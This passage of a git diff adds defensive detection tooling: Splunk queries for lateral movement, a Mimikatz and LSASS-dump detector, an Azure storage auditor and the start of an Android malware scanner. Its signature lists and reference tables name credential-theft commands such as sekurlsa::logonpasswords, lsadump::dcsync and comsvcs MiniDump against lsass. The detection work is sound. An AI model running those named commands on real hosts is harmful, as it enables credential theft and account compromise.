datetime.utcnow().isoformat() + "Z"} + + if zeek_log_dir: + conn_log = os.path.join(zeek_log_dir, "conn.log") + smb_log = os.path.join(zeek_log_dir, "smb_mapping.log") + report["zeek_connections"] = parse_zeek_conn_log(conn_log) + report["zeek_smb"] = parse_zeek_smb_log(smb_log) + + if evtx_path: + report["windows_auth"] = analyze_windows_auth_logs(evtx_path) + + return report + + +if __name__ == "__main__": + action = sys.argv[1] if len(sys.argv) > 1 else "help" + if action == "zeek-conn" and len(sys.argv) > 2: + print(json.dumps(parse_zeek_conn_log(sys.argv[2]), indent=2, default=str)) + elif action == "zeek-smb" and len(sys.argv) > 2: + print(json.dumps(parse_zeek_smb_log(sys.argv[2]), indent=2, default=str)) + elif action == "windows" and len(sys.argv) > 2: + print(json.dumps(analyze_windows_auth_logs(sys.argv[2]), indent=2, default=str)) + elif action == "report": + zeek_dir = sys.argv[2] if len(sys.argv) > 2 else None + evtx_file = sys.argv[3] if len(sys.argv) > 3 else None + print(json.dumps(generate_report(zeek_dir, evtx_file), indent=2, default=str)) + else: + print("Usage: agent.py [zeek-conn |zeek-smb |windows |report [zeek_dir] [evtx]]") diff --git a/skills/detecting-lateral-movement-with-splunk/LICENSE b/skills/detecting-lateral-movement-with-splunk/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-lateral-movement-with-splunk/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-lateral-movement-with-splunk/references/api-reference.md b/skills/detecting-lateral-movement-with-splunk/references/api-reference.md new file mode 100644 index 00000000..8b6cacbc --- /dev/null +++ b/skills/detecting-lateral-movement-with-splunk/references/api-reference.md @@ -0,0 +1,55 @@ +# API Reference: Detecting Lateral Movement with Splunk + +## Key Lateral Movement Techniques + +| Technique | MITRE ID | Event Source | +|-----------|----------|-------------| +| Pass-the-Hash | T1550.002 | Event 4624 Logon_Type=3 NTLM | +| PSExec | T1569.002 | Sysmon Event 1 (PSEXESVC.exe) | +| WMI Remote Exec | T1047 | Sysmon Event 1 (wmiprvse.exe) | +| RDP Pivoting | T1021.001 | Event 4624 Logon_Type=10 | +| SMB/Admin Share | T1021.002 | Network logs dest_port=445 | +| WinRM | T1021.006 | Sysmon Event 1 (wsmprovhost.exe) | + +## Splunk SPL Syntax + +```spl +# Pass-the-Hash detection +index=wineventlog EventCode=4624 Logon_Type=3 +| where Authentication_Package="NTLM" +| stats dc(Computer) as targets by Source_Network_Address +| where targets > 3 + +# PSExec detection +index=sysmon EventCode=1 +| where ParentImage="*\\services.exe" AND Image="*\\PSEXESVC.exe" +``` + +## splunklib Python SDK + +```python +import splunklib.client as client +import splunklib.results as results + +service = client.connect(host="splunk", port=8089, token="...") +job = service.jobs.create("search index=wineventlog EventCode=4624") +for result in results.JSONResultsReader(job.results(output_mode="json")): + print(result) +``` + +## Windows Logon Types + +| Type | Description | +|------|-------------| +| 2 | Interactive (console) | +| 3 | Network (SMB, PSExec) | +| 7 | Unlock | +| 10 | RemoteInteractive (RDP) | + +## CLI Usage + +```bash +python agent.py --generate-queries +python agent.py --generate-queries --techniques pass_the_hash psexec_execution +python agent.py --parse-results splunk_output.json +``` diff --git a/skills/detecting-lateral-movement-with-splunk/scripts/agent.py b/skills/detecting-lateral-movement-with-splunk/scripts/agent.py new file mode 100644 index 00000000..530e5ee0 --- /dev/null +++ b/skills/detecting-lateral-movement-with-splunk/scripts/agent.py @@ -0,0 +1,143 @@ +#!/usr/bin/env python3 +"""Lateral movement detection agent using Splunk SPL query generation. + +Generates and analyzes SPL queries for detecting lateral movement techniques +including pass-the-hash, RDP pivoting, WMI/PSExec execution, and SMB abuse. +""" + +import argparse +import json +import sys +from datetime import datetime + +LATERAL_MOVEMENT_QUERIES = { + "pass_the_hash": { + "mitre": "T1550.002", + "severity": "CRITICAL", + "spl": """index=wineventlog EventCode=4624 Logon_Type=3 +| where Authentication_Package="NTLM" AND Logon_Process="NtLmSsp" +| where NOT match(Source_Network_Address, "^(127\\.0\\.0\\.1|::1|-)") +| stats count dc(Computer) as target_count values(Computer) as targets by Source_Network_Address Account_Name +| where target_count > 3 +| sort -target_count""" + }, + "psexec_execution": { + "mitre": "T1569.002", + "severity": "HIGH", + "spl": """index=sysmon EventCode=1 +| where (ParentImage="*\\services.exe" AND Image="*\\PSEXESVC.exe") + OR (Image="*\\psexec.exe" OR Image="*\\psexec64.exe") +| stats count by Image, ParentImage, CommandLine, Computer, User +| sort -count""" + }, + "wmi_remote_execution": { + "mitre": "T1047", + "severity": "HIGH", + "spl": """index=sysmon EventCode=1 +| where (Image="*\\wmiprvse.exe" AND ParentImage="*\\svchost.exe") +| where CommandLine!="" +| stats count by CommandLine, Computer, User +| sort -count""" + }, + "rdp_pivoting": { + "mitre": "T1021.001", + "severity": "MEDIUM", + "spl": """index=wineventlog EventCode=4624 Logon_Type=10 +| stats count dc(Computer) as rdp_targets values(Computer) as targets by Source_Network_Address Account_Name +| where rdp_targets > 3 +| sort -rdp_targets""" + }, + "smb_lateral": { + "mitre": "T1021.002", + "severity": "HIGH", + "spl": """index=network dest_port=445 +| stats count dc(dest_ip) as smb_targets values(dest_ip) as targets by src_ip +| where smb_targets > 5 +| sort -smb_targets""" + }, + "winrm_execution": { + "mitre": "T1021.006", + "severity": "HIGH", + "spl": """index=sysmon EventCode=1 +| where Image="*\\wsmprovhost.exe" OR (ParentImage="*\\winrshost.exe") +| stats count by Image, CommandLine, Computer, User +| sort -count""" + }, + "service_creation": { + "mitre": "T1543.003", + "severity": "HIGH", + "spl": """index=wineventlog EventCode=7045 +| where Service_Type="user mode service" +| stats count by Service_Name, Service_File_Name, Computer +| where match(Service_File_Name, "(cmd|powershell|\\\\\\\\|%COMSPEC%)") +| sort -count""" + }, + "scheduled_task_remote": { + "mitre": "T1053.005", + "severity": "HIGH", + "spl": """index=sysmon EventCode=1 Image="*\\schtasks.exe" +| where match(CommandLine, "/create.*/s\\s") +| stats count by CommandLine, Computer, User +| sort -count""" + }, +} + + +def generate_queries(techniques=None): + if techniques: + selected = {k: v for k, v in LATERAL_MOVEMENT_QUERIES.items() if k in techniques} + else: + selected = LATERAL_MOVEMENT_QUERIES + + return [{"technique": name, **details} for name, details in selected.items()] + + +def parse_splunk_results(filepath): + findings = [] + with open(filepath, "r") as f: + try: + data = json.load(f) + results = data.get("results", data if isinstance(data, list) else [data]) + except json.JSONDecodeError: + f.seek(0) + import csv + reader = csv.DictReader(f) + results = list(reader) + + for row in results: + target_count = int(row.get("target_count", row.get("dc(Computer)", 0))) + if target_count >= 3: + findings.append({ + "source": row.get("Source_Network_Address", row.get("src_ip", "")), + "user": row.get("Account_Name", row.get("User", "")), + "target_count": target_count, + "targets": row.get("targets", row.get("Computer", "")), + "severity": "CRITICAL" if target_count >= 10 else "HIGH", + }) + return findings + + +def main(): + parser = argparse.ArgumentParser(description="Lateral Movement Detector (Splunk SPL)") + parser.add_argument("--generate-queries", action="store_true", help="Generate SPL queries") + parser.add_argument("--techniques", nargs="+", choices=list(LATERAL_MOVEMENT_QUERIES.keys()), + help="Specific techniques to query") + parser.add_argument("--parse-results", help="Parse Splunk JSON/CSV results file") + args = parser.parse_args() + + results = {"timestamp": datetime.utcnow().isoformat() + "Z"} + + if args.generate_queries: + results["queries"] = generate_queries(args.techniques) + results["total_queries"] = len(results["queries"]) + + if args.parse_results: + findings = parse_splunk_results(args.parse_results) + results["findings"] = findings + results["total_findings"] = len(findings) + + print(json.dumps(results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-mimikatz-execution-patterns/LICENSE b/skills/detecting-mimikatz-execution-patterns/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-mimikatz-execution-patterns/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-mimikatz-execution-patterns/references/api-reference.md b/skills/detecting-mimikatz-execution-patterns/references/api-reference.md new file mode 100644 index 00000000..59ad7458 --- /dev/null +++ b/skills/detecting-mimikatz-execution-patterns/references/api-reference.md @@ -0,0 +1,60 @@ +# API Reference: Detecting Mimikatz Execution Patterns + +## Mimikatz Command Signatures + +| Command | MITRE | Impact | +|---------|-------|--------| +| `sekurlsa::logonpasswords` | T1003.001 | Dump all credentials | +| `lsadump::dcsync` | T1003.006 | DCSync attack | +| `kerberos::golden` | T1558.001 | Golden Ticket | +| `kerberos::ptt` | T1550.003 | Pass-the-Ticket | +| `lsadump::sam` | T1003.002 | SAM dump | +| `misc::skeleton` | T1556.001 | Skeleton Key | + +## LSASS Dump Techniques + +| Method | Detection Pattern | +|--------|-------------------| +| comsvcs.dll MiniDump | `rundll32.*comsvcs.*MiniDump` | +| ProcDump | `procdump.*-ma.*lsass` | +| SQLDumper | `sqldumper.*lsass` | +| .NET createdump | `createdump.*lsass` | +| PowerShell | `Out-Minidump.*lsass` | + +## Sysmon Detection Events + +| Event ID | Usage | +|----------|-------| +| 1 | Process Create (mimikatz.exe) | +| 7 | Image Loaded (sekurlsa.dll) | +| 10 | Process Access (LSASS access mask) | + +## Splunk SPL Detection + +```spl +index=sysmon (EventCode=1 OR EventCode=10) +| where match(CommandLine, "(?i)(sekurlsa|lsadump|kerberos::golden|privilege::debug)") + OR (TargetImage="*\\lsass.exe" AND GrantedAccess IN ("0x1010","0x1FFFFF")) +| table _time Image CommandLine GrantedAccess Computer +``` + +## YARA Rule + +```yara +rule Mimikatz_Strings { + strings: + $s1 = "sekurlsa::logonpasswords" ascii wide + $s2 = "lsadump::dcsync" ascii wide + $s3 = "kerberos::golden" ascii wide + $s4 = "mimilib" ascii wide + condition: + any of them +} +``` + +## CLI Usage + +```bash +python agent.py --evtx-file Sysmon.evtx +python agent.py --text-log process_audit.log +``` diff --git a/skills/detecting-mimikatz-execution-patterns/scripts/agent.py b/skills/detecting-mimikatz-execution-patterns/scripts/agent.py new file mode 100644 index 00000000..d54a31cc --- /dev/null +++ b/skills/detecting-mimikatz-execution-patterns/scripts/agent.py @@ -0,0 +1,153 @@ +#!/usr/bin/env python3 +"""Mimikatz execution pattern detection agent. + +Detects Mimikatz and related credential theft tools by analyzing process +creation logs, LSASS access patterns, and known command-line signatures. +""" + +import argparse +import json +import re +import sys +from datetime import datetime + +try: + import Evtx.Evtx as evtx +except ImportError: + evtx = None + +MIMIKATZ_CMDLINE_PATTERNS = [ + (r"sekurlsa::logonpasswords", "CRITICAL", "Credential dump via sekurlsa"), + (r"sekurlsa::wdigest", "CRITICAL", "WDigest credential extraction"), + (r"sekurlsa::kerberos", "CRITICAL", "Kerberos ticket extraction"), + (r"lsadump::dcsync", "CRITICAL", "DCSync attack"), + (r"lsadump::sam", "CRITICAL", "SAM database dump"), + (r"lsadump::lsa\s*/patch", "CRITICAL", "LSA secrets dump"), + (r"kerberos::golden", "CRITICAL", "Golden Ticket creation"), + (r"kerberos::ptt", "HIGH", "Pass-the-Ticket"), + (r"privilege::debug", "HIGH", "Debug privilege escalation"), + (r"token::elevate", "HIGH", "Token elevation"), + (r"crypto::capi", "MEDIUM", "Certificate export"), + (r"dpapi::chrome", "HIGH", "Chrome credential extraction"), + (r"vault::cred", "HIGH", "Credential Vault access"), + (r"misc::skeleton", "CRITICAL", "Skeleton Key injection"), +] + +MIMIKATZ_BINARY_INDICATORS = [ + (r"mimikatz\.exe", "CRITICAL"), + (r"mimi(32|64)\.exe", "CRITICAL"), + (r"mimikittenz", "CRITICAL"), + (r"sekurlsa\.dll", "CRITICAL"), + (r"mimilib\.dll", "CRITICAL"), + (r"mimidrv\.sys", "CRITICAL"), + (r"kiwi_passwords", "CRITICAL"), +] + +LSASS_DUMP_PATTERNS = [ + (r"rundll32.*comsvcs.*MiniDump", "CRITICAL", "LSASS minidump via comsvcs.dll"), + (r"procdump.*-ma.*lsass", "HIGH", "LSASS dump via ProcDump"), + (r"sqldumper.*lsass", "HIGH", "LSASS dump via SQLDumper"), + (r"createdump.*lsass", "HIGH", "LSASS dump via .NET createdump"), + (r"taskmgr.*lsass.*dump", "MEDIUM", "LSASS dump via Task Manager"), + (r"Out-Minidump.*lsass", "CRITICAL", "PowerShell LSASS minidump"), +] + + +def scan_evtx(filepath): + if evtx is None: + return {"error": "python-evtx not installed: pip install python-evtx"} + findings = [] + with evtx.Evtx(filepath) as log: + for record in log.records(): + xml = record.xml() + event_id_match = re.search(r']*>(\d+)', xml) + if not event_id_match: + continue + event_id = int(event_id_match.group(1)) + if event_id not in (1, 4688, 10): + continue + + cmdline = re.search(r'([^<]+)', xml) + image = re.search(r'([^<]+)', xml) + new_proc = re.search(r'([^<]+)', xml) + time_match = re.search(r'SystemTime="([^"]+)"', xml) + user = re.search(r'([^<]+)', xml) + + cmd = cmdline.group(1) if cmdline else "" + proc = image.group(1) if image else (new_proc.group(1) if new_proc else "") + + for pattern, severity in MIMIKATZ_BINARY_INDICATORS: + if re.search(pattern, proc, re.IGNORECASE): + findings.append({ + "event_id": event_id, + "timestamp": time_match.group(1) if time_match else "", + "type": "mimikatz_binary", + "process": proc, + "severity": severity, + "mitre": "T1003.001", + }) + + for pattern, severity, desc in MIMIKATZ_CMDLINE_PATTERNS: + if re.search(pattern, cmd, re.IGNORECASE): + findings.append({ + "event_id": event_id, + "timestamp": time_match.group(1) if time_match else "", + "type": "mimikatz_command", + "command": cmd[:300], + "description": desc, + "severity": severity, + "mitre": "T1003", + }) + + for pattern, severity, desc in LSASS_DUMP_PATTERNS: + if re.search(pattern, cmd, re.IGNORECASE): + findings.append({ + "event_id": event_id, + "timestamp": time_match.group(1) if time_match else "", + "type": "lsass_dump", + "command": cmd[:300], + "description": desc, + "severity": severity, + "mitre": "T1003.001", + }) + + return findings + + +def scan_text_log(filepath): + findings = [] + with open(filepath, "r", encoding="utf-8", errors="replace") as f: + for num, line in enumerate(f, 1): + for pattern, severity, desc in MIMIKATZ_CMDLINE_PATTERNS + LSASS_DUMP_PATTERNS: + if re.search(pattern, line, re.IGNORECASE): + findings.append({ + "line": num, "severity": severity, + "description": desc, "excerpt": line.strip()[:200], + }) + return findings + + +def main(): + parser = argparse.ArgumentParser(description="Mimikatz Execution Pattern Detector") + parser.add_argument("--evtx-file", help="Sysmon or Security EVTX file") + parser.add_argument("--text-log", help="Text log file to scan") + args = parser.parse_args() + + results = {"timestamp": datetime.utcnow().isoformat() + "Z", "findings": []} + + if args.evtx_file: + evtx_findings = scan_evtx(args.evtx_file) + if isinstance(evtx_findings, dict): + results.update(evtx_findings) + else: + results["findings"].extend(evtx_findings) + + if args.text_log: + results["findings"].extend(scan_text_log(args.text_log)) + + results["total_findings"] = len(results["findings"]) + print(json.dumps(results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-misconfigured-azure-storage/LICENSE b/skills/detecting-misconfigured-azure-storage/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-misconfigured-azure-storage/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-misconfigured-azure-storage/references/api-reference.md b/skills/detecting-misconfigured-azure-storage/references/api-reference.md new file mode 100644 index 00000000..7a6899b9 --- /dev/null +++ b/skills/detecting-misconfigured-azure-storage/references/api-reference.md @@ -0,0 +1,78 @@ +# Azure Storage Misconfiguration Detection API Reference + +## Azure CLI - Storage Account Enumeration + +```bash +# List all storage accounts +az storage account list --query "[].{name:name, rg:resourceGroup, https:enableHttpsTrafficOnly, tls:minimumTlsVersion, publicAccess:allowBlobPublicAccess}" -o table + +# Show account details +az storage account show --name mystorageacct --resource-group myrg + +# Resource Graph cross-subscription query +az graph query -q "Resources | where type == 'microsoft.storage/storageaccounts' | project name, properties.allowBlobPublicAccess, properties.minimumTlsVersion" +``` + +## Container Access Level Checks + +```bash +# List containers with access levels +az storage container list --account-name mystorageacct \ + --query "[].{name:name, access:properties.publicAccess}" -o table + +# Set container to private +az storage container set-permission --name mycontainer \ + --account-name mystorageacct --public-access off +``` + +## Network Rules + +```bash +# Show network rules +az storage account network-rule list --account-name mystorageacct --resource-group myrg + +# Set default action to Deny +az storage account update --name mystorageacct --resource-group myrg \ + --default-action Deny + +# Add IP rule +az storage account network-rule add --account-name mystorageacct \ + --resource-group myrg --ip-address 203.0.113.0/24 +``` + +## Security Settings + +```bash +# Enforce HTTPS only +az storage account update --name mystorageacct -g myrg --https-only true + +# Set minimum TLS 1.2 +az storage account update --name mystorageacct -g myrg --min-tls-version TLS1_2 + +# Disable public blob access +az storage account update --name mystorageacct -g myrg --allow-blob-public-access false + +# Enable soft delete +az storage blob service-properties delete-policy update \ + --account-name mystorageacct --enable true --days-retained 14 +``` + +## Azure Storage Security Checklist + +| Check | CLI Command | Expected | +|-------|------------|----------| +| HTTPS only | `show --query enableHttpsTrafficOnly` | `true` | +| TLS 1.2+ | `show --query minimumTlsVersion` | `TLS1_2` | +| No public access | `show --query allowBlobPublicAccess` | `false` | +| Network deny default | `network-rule list` | `defaultAction: Deny` | +| Logging enabled | `storage logging show` | All services enabled | +| Soft delete on | `blob service-properties` | Enabled 7-14 days | + +## Defender for Storage Alerts + +| Alert | Description | +|-------|-------------| +| Anonymous access to storage | Unauthenticated blob access | +| Unusual data extraction | Anomalous download volume | +| Access from Tor exit node | Storage access from Tor | +| Unusual access pattern | Access from unexpected location | diff --git a/skills/detecting-misconfigured-azure-storage/scripts/agent.py b/skills/detecting-misconfigured-azure-storage/scripts/agent.py new file mode 100644 index 00000000..95f55c5a --- /dev/null +++ b/skills/detecting-misconfigured-azure-storage/scripts/agent.py @@ -0,0 +1,174 @@ +#!/usr/bin/env python3 +"""Azure Storage misconfiguration detection agent using Azure CLI.""" + +import json +import subprocess +import sys +from datetime import datetime + + +def az_cli(args): + """Execute Azure CLI command and return parsed JSON.""" + cmd = ["az"] + args + ["--output", "json"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + if result.returncode == 0 and result.stdout.strip(): + return json.loads(result.stdout) + return {"error": result.stderr.strip()} if result.returncode != 0 else {} + except Exception as e: + return {"error": str(e)} + + +def list_storage_accounts(): + """List all storage accounts with security-relevant properties.""" + return az_cli([ + "storage", "account", "list", + "--query", "[].{name:name, resourceGroup:resourceGroup, location:location, " + "httpsOnly:enableHttpsTrafficOnly, minTls:minimumTlsVersion, " + "publicAccess:allowBlobPublicAccess, kind:kind, sku:sku.name}", + ]) + + +def check_public_containers(account_name, account_key=None): + """Check for publicly accessible blob containers in a storage account.""" + args = ["storage", "container", "list", "--account-name", account_name, + "--query", "[].{name:name, publicAccess:properties.publicAccess}"] + if account_key: + args.extend(["--account-key", account_key]) + result = az_cli(args) + if isinstance(result, list): + public = [c for c in result if c.get("publicAccess") and c["publicAccess"] != "None"] + return { + "account": account_name, + "total_containers": len(result), + "public_containers": public, + "public_count": len(public), + } + return result + + +def check_encryption_settings(account_name, resource_group): + """Verify encryption configuration for a storage account.""" + result = az_cli([ + "storage", "account", "show", + "--name", account_name, "--resource-group", resource_group, + "--query", "{encryption:encryption, httpsOnly:enableHttpsTrafficOnly, " + "minTls:minimumTlsVersion, keySource:encryption.keySource}", + ]) + return result + + +def check_network_rules(account_name, resource_group): + """Check network access rules for a storage account.""" + result = az_cli([ + "storage", "account", "show", + "--name", account_name, "--resource-group", resource_group, + "--query", "{defaultAction:networkRuleSet.defaultAction, " + "bypass:networkRuleSet.bypass, " + "ipRules:networkRuleSet.ipRules, " + "virtualNetworkRules:networkRuleSet.virtualNetworkRules}", + ]) + issues = [] + if isinstance(result, dict): + if result.get("defaultAction") == "Allow": + issues.append("Default network action is Allow (should be Deny)") + if not result.get("ipRules") and not result.get("virtualNetworkRules"): + if result.get("defaultAction") == "Allow": + issues.append("No IP or VNet restrictions configured") + return {"account": account_name, "network_rules": result, "issues": issues} + + +def check_logging_enabled(account_name, account_key=None): + """Check if storage analytics logging is enabled.""" + args = ["storage", "logging", "show", "--account-name", account_name, "--services", "bqt"] + if account_key: + args.extend(["--account-key", account_key]) + return az_cli(args) + + +def check_soft_delete(account_name, resource_group): + """Check if soft delete is enabled for blobs and containers.""" + result = az_cli([ + "storage", "account", "blob-service-properties", "show", + "--account-name", account_name, "--resource-group", resource_group, + "--query", "{deleteRetention:deleteRetentionPolicy, " + "containerDeleteRetention:containerDeleteRetentionPolicy, " + "versioning:isVersioningEnabled}", + ]) + return result + + +def audit_storage_account(account_name, resource_group): + """Run full security audit on a single storage account.""" + findings = [] + + account = az_cli([ + "storage", "account", "show", + "--name", account_name, "--resource-group", resource_group, + ]) + if isinstance(account, dict) and "error" not in account: + if not account.get("enableHttpsTrafficOnly"): + findings.append({"severity": "HIGH", "finding": "HTTPS-only not enforced"}) + tls = account.get("minimumTlsVersion", "") + if tls and tls < "TLS1_2": + findings.append({"severity": "HIGH", "finding": f"Minimum TLS version is {tls} (should be TLS1_2)"}) + if account.get("allowBlobPublicAccess"): + findings.append({"severity": "CRITICAL", "finding": "Public blob access is enabled at account level"}) + + network = check_network_rules(account_name, resource_group) + if network.get("issues"): + for issue in network["issues"]: + findings.append({"severity": "HIGH", "finding": issue}) + + return { + "account": account_name, + "resource_group": resource_group, + "findings": findings, + "finding_count": len(findings), + "timestamp": datetime.utcnow().isoformat() + "Z", + } + + +def audit_all_accounts(): + """Audit all storage accounts across the subscription.""" + accounts = list_storage_accounts() + if not isinstance(accounts, list): + return accounts + + results = [] + for acct in accounts: + name = acct.get("name") + rg = acct.get("resourceGroup") + if name and rg: + audit = audit_storage_account(name, rg) + results.append(audit) + + total_findings = sum(r.get("finding_count", 0) for r in results) + critical = sum( + 1 for r in results + for f in r.get("findings", []) + if f.get("severity") == "CRITICAL" + ) + return { + "timestamp": datetime.utcnow().isoformat() + "Z", + "accounts_audited": len(results), + "total_findings": total_findings, + "critical_findings": critical, + "results": results, + } + + +if __name__ == "__main__": + action = sys.argv[1] if len(sys.argv) > 1 else "audit-all" + if action == "audit-all": + print(json.dumps(audit_all_accounts(), indent=2, default=str)) + elif action == "audit" and len(sys.argv) > 3: + print(json.dumps(audit_storage_account(sys.argv[2], sys.argv[3]), indent=2)) + elif action == "list": + print(json.dumps(list_storage_accounts(), indent=2)) + elif action == "public" and len(sys.argv) > 2: + print(json.dumps(check_public_containers(sys.argv[2]), indent=2)) + elif action == "network" and len(sys.argv) > 3: + print(json.dumps(check_network_rules(sys.argv[2], sys.argv[3]), indent=2)) + else: + print("Usage: agent.py [audit-all|audit |list|public |network ]") diff --git a/skills/detecting-mobile-malware-behavior/LICENSE b/skills/detecting-mobile-malware-behavior/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-mobile-malware-behavior/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-mobile-malware-behavior/references/api-reference.md b/skills/detecting-mobile-malware-behavior/references/api-reference.md new file mode 100644 index 00000000..899b32cc --- /dev/null +++ b/skills/detecting-mobile-malware-behavior/references/api-reference.md @@ -0,0 +1,71 @@ +# API Reference: Detecting Mobile Malware Behavior + +## Android Dangerous Permissions + +| Permission | Risk | Abuse Scenario | +|------------|------|---------------| +| SEND_SMS | HIGH | Premium rate SMS fraud | +| READ_SMS | HIGH | OTP/2FA theft | +| BIND_ACCESSIBILITY_SERVICE | CRITICAL | Screen scraping, keylogging | +| BIND_DEVICE_ADMIN | CRITICAL | Device lockout, ransomware | +| INSTALL_PACKAGES | CRITICAL | Dropper functionality | +| SYSTEM_ALERT_WINDOW | HIGH | Overlay phishing attacks | + +## Android Analysis Tools + +```bash +# Extract permissions from APK +aapt dump permissions app.apk + +# Decompile APK +apktool d app.apk -o output_dir/ + +# Decompile to Java source +jadx app.apk -d java_output/ + +# Run MobSF scan +docker run -p 8000:8000 opensecurity/mobile-security-framework-mobsf +``` + +## Suspicious API Patterns + +```python +# Dynamic code loading +r"DexClassLoader|PathClassLoader" +# Shell execution +r"Runtime\.exec|ProcessBuilder" +# Device fingerprinting +r"TelephonyManager\.getDeviceId" +``` + +## MobSF REST API + +```python +import requests +# Upload APK +resp = requests.post("http://localhost:8000/api/v1/upload", + files={"file": open("app.apk", "rb")}, + headers={"Authorization": API_KEY}) + +# Get scan results +resp = requests.post("http://localhost:8000/api/v1/scan", + data={"hash": file_hash}, + headers={"Authorization": API_KEY}) +``` + +## Android Broadcast Receivers (Persistence) + +| Action | Malware Use | +|--------|-------------| +| BOOT_COMPLETED | Auto-start on reboot | +| SMS_RECEIVED | SMS interception | +| PHONE_STATE | Call monitoring | +| CONNECTIVITY_CHANGE | Network-triggered C2 | + +## CLI Usage + +```bash +python agent.py --apk suspicious.apk +python agent.py --source-dir jadx_output/ +python agent.py --apk app.apk --source-dir decompiled/ +``` diff --git a/skills/detecting-mobile-malware-behavior/scripts/agent.py b/skills/detecting-mobile-malware-behavior/scripts/agent.py new file mode 100644 index 00000000..5adc7c91 --- /dev/null +++ b/skills/detecting-mobile-malware-behavior/scripts/agent.py @@ -0,0 +1,151 @@ +#!/usr/bin/env python3 +"""Mobile malware behavior detection agent. + +Analyzes Android APK manifests and iOS app metadata for suspicious permissions, +dangerous API usage, and known malware behavioral patterns. +""" + +import argparse +import json +import re +import subprocess +import sys +import zipfile +from pathlib import Path +from datetime import datetime + +DANGEROUS_ANDROID_PERMISSIONS = { + "android.permission.SEND_SMS": ("HIGH", "Can send SMS (premium rate fraud)"), + "android.permission.READ_SMS": ("HIGH", "Reads SMS (OTP theft)"), + "android.permission.RECEIVE_SMS": ("HIGH", "Intercepts SMS"), + "android.permission.READ_CONTACTS": ("MEDIUM", "Reads contacts"), + "android.permission.RECORD_AUDIO": ("HIGH", "Records audio"), + "android.permission.CAMERA": ("MEDIUM", "Camera access"), + 